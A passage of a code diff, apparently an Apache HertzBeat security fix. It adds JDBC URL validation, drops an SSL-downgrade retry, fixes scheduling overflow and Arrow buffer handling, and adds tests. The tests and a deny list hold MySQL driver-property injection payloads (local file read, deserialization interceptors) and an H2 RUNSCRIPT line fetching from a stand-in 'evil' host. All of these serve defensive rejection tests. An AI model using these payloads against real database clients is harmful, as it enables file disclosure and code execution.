* database name reach the very same connection, so they have to be rejected too.
|
||||
*/
|
||||
@Test
|
||||
void testConstructDatabaseUrlRejectsDriverPropertiesInDatabaseName() {
|
||||
String[] payloads = {
|
||||
"test?allowLoadLocalInfile=true&z=",
|
||||
"test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
|
||||
"test&useSSL=false",
|
||||
};
|
||||
for (String payload : payloads) {
|
||||
JdbcProtocol jdbcProtocol = JdbcProtocol.builder()
|
||||
.platform("mysql")
|
||||
.database(payload)
|
||||
.build();
|
||||
|
||||
assertThrows(IllegalArgumentException.class,
|
||||
() -> constructDatabaseUrl(jdbcCommonCollect, jdbcProtocol, "localhost", "3306"),
|
||||
"database name should be rejected: " + payload);
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void testCloseConnectionWhenCreateStatementFails() throws Exception {
|
||||
String url = "jdbc:postgresql://localhost:5432/hertzbeat";
|
||||
|
||||
+12
-21
@@ -46,21 +46,23 @@ public class MysqlR2dbcQueryExecutor implements MysqlQueryExecutor {
|
||||
@Override
|
||||
public QueryResult execute(String sql, QueryOptions options) {
|
||||
String normalizedSql = sqlGuard.normalizeAndValidate(sql);
|
||||
QueryResult firstAttempt = executeOnce(normalizedSql, options, SslMode.PREFERRED);
|
||||
if (!firstAttempt.hasError() || !shouldRetryWithoutSsl(firstAttempt.getError())) {
|
||||
return firstAttempt;
|
||||
// A single PREFERRED attempt negotiates TLS when the server supports it and
|
||||
// falls back to plaintext only through the protocol-level handshake when the
|
||||
// server advertises no SSL capability. It must NOT be followed by a second
|
||||
// SslMode.DISABLED attempt on handshake *failures*: a handshake failure is
|
||||
// ambiguous (a MitM can induce it to force a downgrade), and retrying with
|
||||
// SSL disabled would then ship the monitoring credentials in the clear.
|
||||
QueryResult result = executeOnce(normalizedSql, options, SslMode.PREFERRED);
|
||||
if (!result.hasError()) {
|
||||
return result;
|
||||
}
|
||||
QueryResult fallbackAttempt = executeOnce(normalizedSql, options, SslMode.DISABLED);
|
||||
if (!fallbackAttempt.hasError()) {
|
||||
return fallbackAttempt;
|
||||
}
|
||||
if (requiresSslCompatibleAuth(fallbackAttempt.getError())) {
|
||||
if (requiresSslCompatibleAuth(result.getError())) {
|
||||
return QueryResult.builder()
|
||||
.error(fallbackAttempt.getError()
|
||||
.error(result.getError()
|
||||
+ ". This route currently needs a TLS-compatible runtime or a mysql_native_password monitoring user.")
|
||||
.build();
|
||||
}
|
||||
return fallbackAttempt;
|
||||
return result;
|
||||
}
|
||||
|
||||
private QueryResult executeOnce(String sql, QueryOptions options, SslMode sslMode) {
|
||||
@@ -128,17 +130,6 @@ public class MysqlR2dbcQueryExecutor implements MysqlQueryExecutor {
|
||||
return false;
|
||||
}
|
||||
|
||||
private boolean shouldRetryWithoutSsl(String error) {
|
||||
if (error == null) {
|
||||
return false;
|
||||
}
|
||||
String normalized = error.toLowerCase(Locale.ROOT);
|
||||
return normalized.contains("handshake_failure")
|
||||
|| normalized.contains("ssl/tls handshake")
|
||||
|| normalized.contains("closedchannelexception")
|
||||
|| normalized.contains("connection unexpectedly closed");
|
||||
}
|
||||
|
||||
private boolean requiresSslCompatibleAuth(String error) {
|
||||
if (error == null) {
|
||||
return false;
|
||||
|
||||
+55
-21
@@ -25,6 +25,7 @@ import java.util.HashSet;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import java.util.Optional;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.ConcurrentLinkedDeque;
|
||||
@@ -110,9 +111,21 @@ public class Job {
|
||||
*/
|
||||
private long defaultInterval = 600L;
|
||||
/**
|
||||
* Refresh time list for one cycle of the job.
|
||||
* Explicit refresh delays used for one-time overrides and fallback schedules.
|
||||
*/
|
||||
private ConcurrentLinkedDeque<Long> intervals;
|
||||
|
||||
/**
|
||||
* Collector-only periods used to generate the next refresh delay lazily.
|
||||
*/
|
||||
@JsonIgnore
|
||||
private transient long[] metricsSchedulePeriods;
|
||||
|
||||
/**
|
||||
* Collector-only time remaining until each metric period is due.
|
||||
*/
|
||||
@JsonIgnore
|
||||
private transient long[] metricsScheduleRemaining;
|
||||
/**
|
||||
* Whether it is a recurring periodic task true is yes, false is no.
|
||||
*/
|
||||
@@ -328,7 +341,7 @@ public class Job {
|
||||
if (array != null && !array.isEmpty()) {
|
||||
long result = array.get(0);
|
||||
for (int i = 1; i < array.size(); i++) {
|
||||
result = result / gcd(result, array.get(i)) * array.get(i);
|
||||
result = Math.multiplyExact(result / gcd(result, array.get(i)), array.get(i));
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@@ -340,29 +353,50 @@ public class Job {
|
||||
* Generate a list of refresh intervals for metric collection.
|
||||
*/
|
||||
public synchronized void generateMetricsIntervals(List<Long> metricsIntervals) {
|
||||
// 1. To find the least common multiple (LCM) of all metric refresh intervals
|
||||
long lcm = lcm(metricsIntervals);
|
||||
List<Long> refreshTimes = new LinkedList<>();
|
||||
// 2. Calculate all possible refresh intervals in one round
|
||||
for (long interval : metricsIntervals) {
|
||||
for (long t = interval; t <= lcm; t += interval) {
|
||||
if (!refreshTimes.contains(t)) {
|
||||
refreshTimes.add(t);
|
||||
}
|
||||
}
|
||||
long[] periods = metricsIntervals == null
|
||||
? new long[0]
|
||||
: metricsIntervals.stream()
|
||||
.filter(Objects::nonNull)
|
||||
.mapToLong(Long::longValue)
|
||||
.filter(interval -> interval > 0)
|
||||
.distinct()
|
||||
.sorted()
|
||||
.toArray();
|
||||
if (periods.length == 0) {
|
||||
metricsSchedulePeriods = null;
|
||||
metricsScheduleRemaining = null;
|
||||
intervals = new ConcurrentLinkedDeque<>(List.of(Math.max(1L, defaultInterval)));
|
||||
return;
|
||||
}
|
||||
// 3. Sort from smallest to largest
|
||||
Collections.sort(refreshTimes);
|
||||
// 4. Calculate the refresh interval list for Job's cycle
|
||||
LinkedList<Long> intervals = new LinkedList<>();
|
||||
intervals.add(refreshTimes.get(0));
|
||||
for (int i = 1; i < refreshTimes.size(); i++) {
|
||||
intervals.add(refreshTimes.get(i) - refreshTimes.get(i - 1));
|
||||
}
|
||||
setIntervals(new ConcurrentLinkedDeque<>(intervals));
|
||||
metricsSchedulePeriods = periods;
|
||||
metricsScheduleRemaining = periods.clone();
|
||||
intervals = null;
|
||||
}
|
||||
|
||||
public synchronized void setIntervals(ConcurrentLinkedDeque<Long> intervals) {
|
||||
this.intervals = intervals;
|
||||
metricsSchedulePeriods = null;
|
||||
metricsScheduleRemaining = null;
|
||||
}
|
||||
|
||||
public synchronized long getInterval() {
|
||||
if (metricsScheduleRemaining != null && metricsSchedulePeriods != null
|
||||
&& metricsScheduleRemaining.length == metricsSchedulePeriods.length
|
||||
&& metricsScheduleRemaining.length > 0) {
|
||||
long nextInterval = Long.MAX_VALUE;
|
||||
for (long remaining : metricsScheduleRemaining) {
|
||||
nextInterval = Math.min(nextInterval, remaining);
|
||||
}
|
||||
if (nextInterval > 0) {
|
||||
for (int i = 0; i < metricsScheduleRemaining.length; i++) {
|
||||
metricsScheduleRemaining[i] -= nextInterval;
|
||||
if (metricsScheduleRemaining[i] == 0) {
|
||||
metricsScheduleRemaining[i] = metricsSchedulePeriods[i];
|
||||
}
|
||||
}
|
||||
return nextInterval;
|
||||
}
|
||||
}
|
||||
if (this.intervals != null && !this.intervals.isEmpty()) {
|
||||
Long interval = this.intervals.removeFirst();
|
||||
if (interval != null) {
|
||||
|
||||
+5
-4
@@ -285,8 +285,9 @@ public final class CollectRep {
|
||||
Row row = iterator.next();
|
||||
ValueRow valueRow = ValueRow.newBuilder()
|
||||
.setColumns(fieldNames.stream()
|
||||
.map(fieldName -> new String(((VarCharVector)
|
||||
table.getVector(fieldName)).get(row.getRowNumber())))
|
||||
.map(fieldName -> new String(
|
||||
((VarCharVector) table.getVector(fieldName)).get(row.getRowNumber()),
|
||||
StandardCharsets.UTF_8))
|
||||
.collect(Collectors.toList()))
|
||||
.build();
|
||||
values.add(valueRow);
|
||||
@@ -443,8 +444,8 @@ public final class CollectRep {
|
||||
fieldIndex < row.getColumnsList().size()) {
|
||||
String value = row.getColumns(fieldIndex);
|
||||
if (value != null) {
|
||||
// Check byte array size, Arrow buffer size is 32768 bytes
|
||||
byte[] bytes = value.getBytes(StandardCharsets.UTF_8);
|
||||
// setSafe grows the variable-width data buffer beyond its initial allocation.
|
||||
vector.setSafe(rowIndex, bytes);
|
||||
}
|
||||
}
|
||||
@@ -464,7 +465,7 @@ public final class CollectRep {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public long getId() {
|
||||
return Long.parseLong(metadata.getOrDefault(MetricDataConstants.ID, "0"));
|
||||
}
|
||||
|
||||
+3
-5
@@ -69,13 +69,11 @@ public class RedisMetricsDataCodec implements RedisCodec<String, CollectRep.Metr
|
||||
try (ByteArrayInputStream in = new ByteArrayInputStream(bytes);
|
||||
ArrowStreamReader reader = new ArrowStreamReader(
|
||||
Channels.newChannel(in), allocator)) {
|
||||
reader.loadNextBatch();
|
||||
VectorSchemaRoot root = reader.getVectorSchemaRoot();
|
||||
if (root == null || root.getRowCount() == 0) {
|
||||
log.warn("Empty data received");
|
||||
if (!reader.loadNextBatch()) {
|
||||
log.warn("No record batch in metrics data stream, discarding");
|
||||
return null;
|
||||
}
|
||||
return new CollectRep.MetricsData(root);
|
||||
return new CollectRep.MetricsData(reader.getVectorSchemaRoot());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to decode metrics data", e);
|
||||
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.common.util;
|
||||
|
||||
import java.util.Locale;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
/**
|
||||
* Safety helpers for building JDBC connection urls from user supplied monitor parameters.
|
||||
*
|
||||
* <p>Connection parameters such as the database name are concatenated into the jdbc url. Without
|
||||
* restriction a value like {@code db?allowLoadLocalInfile=true} injects arbitrary driver properties,
|
||||
* which a malicious database server turns into local file disclosure or deserialization on the
|
||||
* connecting jvm. The url blacklist only guards the url a user types in directly, so every other
|
||||
* value that reaches the url has to be constrained here.
|
||||
*/
|
||||
public final class JdbcUrlSafetyUtil {
|
||||
|
||||
/**
|
||||
* Identifier characters accepted in a database or schema name. Deliberately excludes the
|
||||
* characters that carry meaning inside a jdbc url: {@code ? & = : / \ ; # space}.
|
||||
*/
|
||||
private static final Pattern DATABASE_NAME_PATTERN = Pattern.compile("^[A-Za-z0-9_$][A-Za-z0-9_$.\\-]{0,63}$");
|
||||
|
||||
/**
|
||||
* Driver properties that turn a connection into a client side attack. Checked against the
|
||||
* assembled url so a concatenation mistake anywhere still fails closed.
|
||||
*/
|
||||
private static final String[] DANGEROUS_URL_PROPERTIES = {
|
||||
// file IO - lets a malicious server read files from the connecting host
|
||||
"allowloadlocalinfile", "allowloadlocalinfileinpath", "uselocalinfile",
|
||||
// code execution and deserialization
|
||||
"autodeserialize", "detectcustomcollations", "queryinterceptors", "statementinterceptors",
|
||||
"exceptioninterceptors", "javaobjectserializer", "serverstatusdiffinterceptor",
|
||||
"socketfactory", "init=", "runscript",
|
||||
// multi statement execution
|
||||
"allowmultiqueries",
|
||||
// remote object lookup
|
||||
"jndi:", "ldap:", "rmi:",
|
||||
};
|
||||
|
||||
private JdbcUrlSafetyUtil() {
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a database or schema name that is about to be concatenated into a jdbc url.
|
||||
*
|
||||
* @param database database name, may be null or empty
|
||||
* @return the database name, or an empty string when nothing was supplied
|
||||
* @throws IllegalArgumentException when the name contains jdbc url syntax
|
||||
*/
|
||||
public static String requireSafeDatabaseName(String database) {
|
||||
if (database == null || database.isEmpty()) {
|
||||
return "";
|
||||
}
|
||||
if (!DATABASE_NAME_PATTERN.matcher(database).matches()) {
|
||||
throw new IllegalArgumentException("Invalid database name: only letters, digits, "
|
||||
+ "'_', '$', '.' and '-' are allowed, up to 64 characters");
|
||||
}
|
||||
return database;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reject an assembled jdbc url that carries a driver property known to be attacker useful.
|
||||
*
|
||||
* <p>Applies to urls this project builds itself. Urls typed in by a user go through the wider
|
||||
* platform aware checks in the collector before reaching here.
|
||||
*
|
||||
* @param url assembled jdbc url
|
||||
* @throws IllegalArgumentException when a dangerous property is present
|
||||
*/
|
||||
public static void requireSafeJdbcUrl(String url) {
|
||||
if (url == null || url.isEmpty()) {
|
||||
return;
|
||||
}
|
||||
String normalized = url.toLowerCase(Locale.ROOT).replaceAll("[\\x00-\\x1F\\x7F]", "");
|
||||
for (String property : DANGEROUS_URL_PROPERTIES) {
|
||||
if (normalized.contains(property)) {
|
||||
throw new IllegalArgumentException(
|
||||
"Invalid JDBC URL: contains potentially malicious parameter: " + property);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.common.entity.job;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.concurrent.ConcurrentLinkedDeque;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* Test case for {@link Job}.
|
||||
*/
|
||||
class JobTest {
|
||||
|
||||
@Test
|
||||
void schedulesCoprimeIntervalsWithoutMaterializingTheirWholeCycle() {
|
||||
Job job = new Job();
|
||||
|
||||
job.generateMetricsIntervals(List.of(1009L, 1013L));
|
||||
|
||||
assertTrue(job.getIntervals() == null || job.getIntervals().size() <= 2);
|
||||
assertEquals(
|
||||
List.of(1009L, 4L, 1005L, 8L, 1001L, 12L, 997L, 16L),
|
||||
List.of(
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval()));
|
||||
}
|
||||
|
||||
@Test
|
||||
void repeatsTheSameScheduleForOrdinaryIntervals() {
|
||||
Job job = new Job();
|
||||
|
||||
job.generateMetricsIntervals(List.of(4L, 6L));
|
||||
|
||||
assertEquals(
|
||||
List.of(4L, 2L, 2L, 4L, 4L, 2L, 2L, 4L),
|
||||
List.of(
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval(),
|
||||
job.getInterval()));
|
||||
}
|
||||
|
||||
@Test
|
||||
void explicitIntervalsReplaceGeneratedSchedule() {
|
||||
Job job = new Job();
|
||||
job.generateMetricsIntervals(List.of(4L, 6L));
|
||||
|
||||
job.setIntervals(new ConcurrentLinkedDeque<>(List.of(0L)));
|
||||
|
||||
assertEquals(0L, job.getInterval());
|
||||
assertEquals(0L, job.getInterval());
|
||||
}
|
||||
|
||||
@Test
|
||||
void usesDefaultIntervalWhenNoValidMetricIntervalExists() {
|
||||
Job job = new Job();
|
||||
job.setDefaultInterval(15L);
|
||||
|
||||
job.generateMetricsIntervals(List.of(0L, -1L));
|
||||
|
||||
assertEquals(15L, job.getInterval());
|
||||
assertEquals(15L, job.getInterval());
|
||||
}
|
||||
|
||||
@Test
|
||||
void rejectsLeastCommonMultipleOverflow() {
|
||||
assertThrows(
|
||||
ArithmeticException.class,
|
||||
() -> Job.lcm(List.of(Long.MAX_VALUE, Long.MAX_VALUE - 1)));
|
||||
}
|
||||
}
|
||||
+43
@@ -19,10 +19,16 @@
|
||||
|
||||
package org.apache.hertzbeat.common.entity.message;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.CsvSource;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* Test case for {@link CollectRep}
|
||||
@@ -43,4 +49,41 @@ public class CollectRepTest {
|
||||
assertEquals(field1.equals(field2), result);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}")
|
||||
@MethodSource("largeMetricValues")
|
||||
void preservesArrowStringValue(String description, String value) {
|
||||
CollectRep.Field field = CollectRep.Field.newBuilder()
|
||||
.setName("payload")
|
||||
.setType(1)
|
||||
.build();
|
||||
CollectRep.ValueRow row = new CollectRep.ValueRow(List.of(value));
|
||||
|
||||
try (CollectRep.MetricsData metricsData = CollectRep.MetricsData.newBuilder()
|
||||
.addField(field)
|
||||
.addValueRow(row)
|
||||
.build()) {
|
||||
String storedValue = metricsData.getValues().getFirst().getColumns(0);
|
||||
assertEquals(
|
||||
value.getBytes(StandardCharsets.UTF_8).length,
|
||||
storedValue.getBytes(StandardCharsets.UTF_8).length);
|
||||
assertEquals(value, storedValue);
|
||||
}
|
||||
}
|
||||
|
||||
private static Stream<Arguments> largeMetricValues() {
|
||||
String ideograph = "\u4e2d";
|
||||
String emoji = new String(Character.toChars(0x1F600));
|
||||
return Stream.of(
|
||||
arguments("ASCII before previous boundary", "a".repeat(32_699)),
|
||||
arguments("ASCII at previous boundary", "a".repeat(32_700)),
|
||||
arguments("ASCII after previous boundary", "a".repeat(32_701)),
|
||||
arguments("large ASCII value", "a".repeat(100_000)),
|
||||
arguments("multibyte before previous boundary", ideograph.repeat(10_899)),
|
||||
arguments("multibyte at previous boundary", ideograph.repeat(10_900)),
|
||||
arguments("multibyte after previous boundary", ideograph.repeat(10_901)),
|
||||
arguments("emoji before previous boundary", emoji.repeat(8_174)),
|
||||
arguments("emoji at previous boundary", emoji.repeat(8_175)),
|
||||
arguments("emoji after previous boundary", emoji.repeat(8_176)));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+25
@@ -23,6 +23,8 @@ import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.channels.Channels;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import org.apache.arrow.vector.VectorSchemaRoot;
|
||||
import org.apache.arrow.vector.ipc.ArrowStreamWriter;
|
||||
@@ -102,6 +104,29 @@ class KafkaMetricsDataSerializerTest {
|
||||
assertArrayEquals(expectedBytes, bytes);
|
||||
}
|
||||
|
||||
@Test
|
||||
void preservesLargeMetricValueThroughArrowIpc() {
|
||||
String value = "a".repeat(100_000);
|
||||
CollectRep.Field field = CollectRep.Field.newBuilder()
|
||||
.setName("payload")
|
||||
.setType(1)
|
||||
.build();
|
||||
CollectRep.MetricsData source = CollectRep.MetricsData.newBuilder()
|
||||
.addField(field)
|
||||
.addValueRow(new CollectRep.ValueRow(List.of(value)))
|
||||
.build();
|
||||
|
||||
byte[] bytes = serializer.serialize("topic", source);
|
||||
|
||||
KafkaMetricsDataDeserializer deserializer = new KafkaMetricsDataDeserializer();
|
||||
try (CollectRep.MetricsData restored = deserializer.deserialize("topic", bytes)) {
|
||||
assertArrayEquals(
|
||||
value.getBytes(StandardCharsets.UTF_8),
|
||||
restored.getValues().getFirst().getColumns(0)
|
||||
.getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void testClose() {
|
||||
|
||||
|
||||
+104
@@ -0,0 +1,104 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.common.serialize;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertNull;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.channels.Channels;
|
||||
import java.util.List;
|
||||
import org.apache.arrow.memory.BufferAllocator;
|
||||
import org.apache.arrow.memory.RootAllocator;
|
||||
import org.apache.arrow.vector.VectorSchemaRoot;
|
||||
import org.apache.arrow.vector.ipc.ArrowStreamWriter;
|
||||
import org.apache.arrow.vector.types.pojo.ArrowType;
|
||||
import org.apache.arrow.vector.types.pojo.Field;
|
||||
import org.apache.arrow.vector.types.pojo.Schema;
|
||||
import org.apache.hertzbeat.common.entity.message.CollectRep;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
/**
|
||||
* Test case for {@link RedisMetricsDataCodec}
|
||||
*/
|
||||
class RedisMetricsDataCodecTest {
|
||||
|
||||
private RedisMetricsDataCodec codec;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
codec = new RedisMetricsDataCodec();
|
||||
}
|
||||
|
||||
@Test
|
||||
void encodeDecodePreservesRows() {
|
||||
CollectRep.MetricsData data = CollectRep.MetricsData.newBuilder()
|
||||
.setId(123L)
|
||||
.setApp("linux")
|
||||
.setMetrics("cpu")
|
||||
.setCode(CollectRep.Code.SUCCESS)
|
||||
.addField(CollectRep.Field.newBuilder().setName("usage").setType(0).build())
|
||||
.addValueRow(CollectRep.ValueRow.newBuilder().addColumn("42").build())
|
||||
.build();
|
||||
|
||||
try (CollectRep.MetricsData decoded = codec.decodeValue(codec.encodeValue(data))) {
|
||||
assertNotNull(decoded);
|
||||
assertEquals(123L, decoded.getId());
|
||||
assertEquals(CollectRep.Code.SUCCESS, decoded.getCode());
|
||||
assertEquals(1, decoded.getValues().size());
|
||||
assertEquals("42", decoded.getValues().get(0).getColumns(0));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void encodeDecodeKeepsZeroRowTimeout() {
|
||||
CollectRep.MetricsData timeout = CollectRep.MetricsData.newBuilder()
|
||||
.setId(456L)
|
||||
.setApp("linux")
|
||||
.setMetrics("cpu")
|
||||
.setPriority(0)
|
||||
.setCode(CollectRep.Code.TIMEOUT)
|
||||
.setMsg("Collect Timeout No Response")
|
||||
.build();
|
||||
|
||||
try (CollectRep.MetricsData decoded = codec.decodeValue(codec.encodeValue(timeout))) {
|
||||
assertNotNull(decoded);
|
||||
assertEquals(456L, decoded.getId());
|
||||
assertEquals(CollectRep.Code.TIMEOUT, decoded.getCode());
|
||||
assertEquals("Collect Timeout No Response", decoded.getMsg());
|
||||
assertEquals(0, decoded.getPriority());
|
||||
assertEquals(0, decoded.rowCount());
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void decodeSchemaOnlyStreamReturnsNull() throws Exception {
|
||||
Schema schema = new Schema(List.of(Field.nullable("usage", new ArrowType.Utf8())));
|
||||
try (BufferAllocator allocator = new RootAllocator();
|
||||
VectorSchemaRoot root = VectorSchemaRoot.create(schema, allocator);
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ArrowStreamWriter writer = new ArrowStreamWriter(root, null, Channels.newChannel(out))) {
|
||||
writer.start();
|
||||
writer.end();
|
||||
|
||||
assertNull(codec.decodeValue(ByteBuffer.wrap(out.toByteArray())));
|
||||
}
|
||||
}
|
||||
}
|
||||
+90
@@ -0,0 +1,90 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.common.util;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
|
||||
/**
|
||||
* Test case for {@link JdbcUrlSafetyUtil}
|
||||
*/
|
||||
class JdbcUrlSafetyUtilTest {
|
||||
|
||||
@Test
|
||||
void testAcceptsOrdinaryDatabaseNames() {
|
||||
assertEquals("hertzbeat", JdbcUrlSafetyUtil.requireSafeDatabaseName("hertzbeat"));
|
||||
assertEquals("my_db-1", JdbcUrlSafetyUtil.requireSafeDatabaseName("my_db-1"));
|
||||
assertEquals("orcl.example.com", JdbcUrlSafetyUtil.requireSafeDatabaseName("orcl.example.com"));
|
||||
assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(null));
|
||||
assertEquals("", JdbcUrlSafetyUtil.requireSafeDatabaseName(""));
|
||||
}
|
||||
|
||||
@ValueSource(strings = {
|
||||
// the payload that turns a monitor into local file disclosure on the collector
|
||||
"test?allowLoadLocalInfile=true&z=",
|
||||
"test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
|
||||
// any character that carries jdbc url meaning has to be refused
|
||||
"db&user=root",
|
||||
"db=x",
|
||||
"db/../other",
|
||||
"db;DatabaseName=other",
|
||||
"db:1234",
|
||||
"db#fragment",
|
||||
"db name",
|
||||
"?leadingQuestion",
|
||||
})
|
||||
@ParameterizedTest
|
||||
void testRejectsDatabaseNamesCarryingUrlSyntax(String database) {
|
||||
assertThrows(IllegalArgumentException.class,
|
||||
() -> JdbcUrlSafetyUtil.requireSafeDatabaseName(database));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testRejectsDatabaseNameOverLength() {
|
||||
assertThrows(IllegalArgumentException.class,
|
||||
() -> JdbcUrlSafetyUtil.requireSafeDatabaseName("a".repeat(65)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void testAcceptsUrlsThisProjectBuilds() {
|
||||
assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
|
||||
"jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf-8&useSSL=false"));
|
||||
assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
|
||||
"jdbc:sqlserver://localhost:1433;DatabaseName=test;trustServerCertificate=true;"));
|
||||
assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(
|
||||
"jdbc:oracle:thin:@localhost:1521/orcl"));
|
||||
assertDoesNotThrow(() -> JdbcUrlSafetyUtil.requireSafeJdbcUrl(null));
|
||||
}
|
||||
|
||||
@ValueSource(strings = {
|
||||
"jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true",
|
||||
"jdbc:mysql://localhost:3306/test?autoDeserialize=true",
|
||||
"jdbc:mysql://localhost:3306/test?queryInterceptors=x",
|
||||
"jdbc:mysql://localhost:3306/test?allowMultiQueries=true",
|
||||
"jdbc:postgresql://localhost:5432/test?socketFactory=x",
|
||||
"jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://evil/x.sql'",
|
||||
})
|
||||
@ParameterizedTest
|
||||
void testRejectsUrlsCarryingDangerousDriverProperties(String url) {
|
||||
